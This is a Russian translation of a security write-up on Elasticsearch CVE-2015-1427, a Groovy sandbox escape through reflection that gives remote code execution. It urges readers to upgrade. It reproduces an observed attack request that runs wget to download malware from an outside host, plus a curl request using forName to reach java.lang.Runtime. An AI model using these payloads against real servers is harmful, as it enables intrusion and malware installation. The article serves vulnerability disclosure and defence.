Если вы используете общедоступный поисковый движок Elasticsearch, обновите его до 1.4.3 или более поздней версии прямо сейчас.


Elasticsearch - это полнотекстовый поисковый механизм, который выполняет агрегацию данных и выполнение запросов очень легко. Он имеет расширенный механизм API на базе «JSON», который позволяет выполнять все, от поиска, до управления системой. Этот пост покажет вам как новая уязвимость «CVE-2015-1427» позволяет злоумышленникам использовать возможности этого API, чтобы получать неавторизованное удалённое выполнение кода.


Большая часть анализа по обнаружению этой уязвимости была первоначально найдена здесь в блоге (перевод). Эта статья является переводом и предоставляет более подробную информацию о данной уязвимости.


Это не первая уязвимость, найденная в Elasticsearch


Одной из особенностей поискового API, является особенность, позволяющая пользователям отправлять специально подготовленный код в виде поискового запроса. Затем сервер выполнит этот код в песочнице и возвратит результат пользователю. Таким образом, код Elasticsearch может быть использован для выполнения другого кода.


Позволять кому угодно отсылать код, выполняемый на стороне сервера - это опасная игра. На самом деле Elasticsearch не первый раз был “укушен” этой функцией. Elasticsearch до версии 1.2 не имел песочницы вообще, что позволяло всем желающим отсылать код, который будет выполняться на сервере. Так как Еlasticsearch не имеет функций аутентификации и если служба общедоступна через Интернет, любой желающий может взломать сервер, отправив запрос такого вида


{
  "query": {
    "filtered": {
      "query": {"match_all": {}}
    }
  },
  "script_fields": {
    "exp": {
      "script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/malware http://x.x.x.x/malware \").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"
    }
  }
}

Интересный факт! Это фактическая попытка использования эксплоита, которую автор видел на своём сервере.


Ничего нового. В самом деле это модуль Metasploit, который делает это возможным.


Начиная с версии 1.3, в Elasticsearch разрешено отправлять специально подготовленный код в запросе. Однако, они добавили песочницу, чтобы контролировать какие классы и функции могут быть выполнены.


Давайте быстро взглянем на то, как песочница работает, чтобы иметь представление, как её можно взломать.


Как работает песочница


Функции и классы, которые разрешены в песочнице можно найти в файле GroovySandboxExpressionChecker.java. Глядя на код, мы отмечаем функцию isAuthorized. Эта функция принимает запрос, и проверяет, может ли этот запрос быть выполнен.


Не вдаваясь во все подробности того, что делает песочница, вот важная часть функции:


if (expression instanceof MethodCallExpression) {
  MethodCallExpression mce = (MethodCallExpression) expression;
  String methodName = mce.getMethodAsString();
  if (methodBlacklist.contains(methodName)) {
    return false;
  } else if (methodName == null && mce.getMethod() instanceof GStringExpression) {
    // We do not allow GStrings for method invocation, they are a security risk
    return false;
  }
  //snip
}

Это условие, которое проверяется для того чтобы понять, может ли быть выполнен наш запрос. Есть две проверки, которые мы должны пройти для того, чтобы это произошло:


	if (methodBlacklist.contains(methodName))

Метод MethodBlacklist содержит следующий вызов метода, который мы не можем использовать:


public static String[] defaultMethodBlacklist = new String[]{
  "getClass",
  "wait",
  "notify",
  "notifyAll",
  "finalize"
};

Ок, мы не можем использовать ни один из них. Далее, нам надо убедиться, что имя нашего метода не null, и мы не используем GStringExpression. Без проблем.


Далее, существует еще один барьер, который мы должны преодолеть. Песочница также ограничивает пакеты, которые могут иметь вызываемые методы (из SecureASTCustomizer.java):


if (receiversWhiteList != null && !receiversWhiteList.contains(typeName)) {
  throw new SecurityException("Method calls not allowed on [" + typeName + "]");
} else if (receiversBlackList != null && receiversBlackList.contains(typeName)) {
  throw new SecurityException("Method calls not allowed on [" + typeName + "]");
}

В переменной defaultReceiverWhitelis находится “белый список” Elasticsearch:


private final static String[] defaultReceiverWhitelist = new String [] {
  groovy.util.GroovyCollections.class.getName(),
  java.lang.Math.class.getName(),
  java.lang.Integer.class.getName(), "[I", "[[I", "[[[I",
  //snip
};

На первый взгляд, это исключает нашу способность вызывать любые методы из интересных пакетов, таких как java.lang.Runtime, которые могут быть использованы для выполнения системных команд. Тем не менее, существует способ, с помощью которого мы можем обойти обе проверки: как пакет “белый список”, так и метод “чёрный список”, чтобы выполнить наш код. Это делается с помощью хитрой Java функции, называемой отражение.


Обход песочницы через отражение.


Уязвимости часто можно исследовать реверс-инженерингом, исследуя патчи, вышедшие после выхода предыдущей версии. Коммит, который мы будем исследовать, находится здесь. Изменения в этом коммите дают нам некоторое представление о том, как мы можем использовать эту уязвимость:


// Never allow calling these methods, regardless of the object type
public static String[] defaultMethodBlacklist = new String[]{
  "getClass",
  "class",
  "forName",
  "wait",
  "notify",
  "notifyAll"
};

Из этого становится ясно то, что мы вероятно можем что-либо сделать с методами вызова .class и forName (). Эти методы, соединённые друг с другом, позволяют нам взять один класс (например, такой, который находится в белом списке) и использовать его для загрузки совершенно другого класса (например, java.lang.Runtime), через отражение.


Итак, как это выглядит?


Давайте посмотрим, сможем ли мы можем загрузить пакет java.lang.Runtime с помощью использования отражения от пакета java.lang.Math, который находится в белом списке пакетов, которые мы можем использовать:


$ curl http://localhost:9200/_search?pretty -XPOST -d 
'{
  "script_fields": {
    "myscript": {
      "script": "java.lang.Math.class.forName(\"java.lang.Runtime\")"
    }
  }
}'
{
  "hits" : {
    "total" : 8,
    "max_score" : 1.0,
    "hits" : [{
      "fields" : {
        "myscript" : ["class java.lang.Runtime"]
      }
    }]
  }
}

Успех! Мы видим, что в результате нашего запроса было возвращено вхождение класса java.lang.Runtime. Мы можем использовать это вхождение для выполнения системных команд на сервере.


Я не буду предоставлять полные доказательства, но все его части находятся здесь. Используя комбинацию первого эксплоита, указанного выше, вместе с тем методом, который я указал, для получения вхождения пакета java.lang.Runtime, довольно-таки просто запустить любую желаемую команду.


Вывод


Эта уязвимость не предавалась сильной огласке, но она абсолютно критична. Факт в том, что у автора, сервер использующий Еlasticsearch, был взломан именно этим способом, доказывая, что эта уязвимость широко эксплуатируется.


Elasticsearch рекомендует, чтобы программное обеспечение было доступно только локально, но существует огромное количество публично доступных экземпляров ES. Вероятно потому, что конфигурация по умолчанию слушает порт 0.0.0.0:9200.


Если вы используете Еlasticsearch, и не обновились до 1.4.3 (или до последней 1.4.4), мы рекомендуем обновиться незамедлительно.


Источник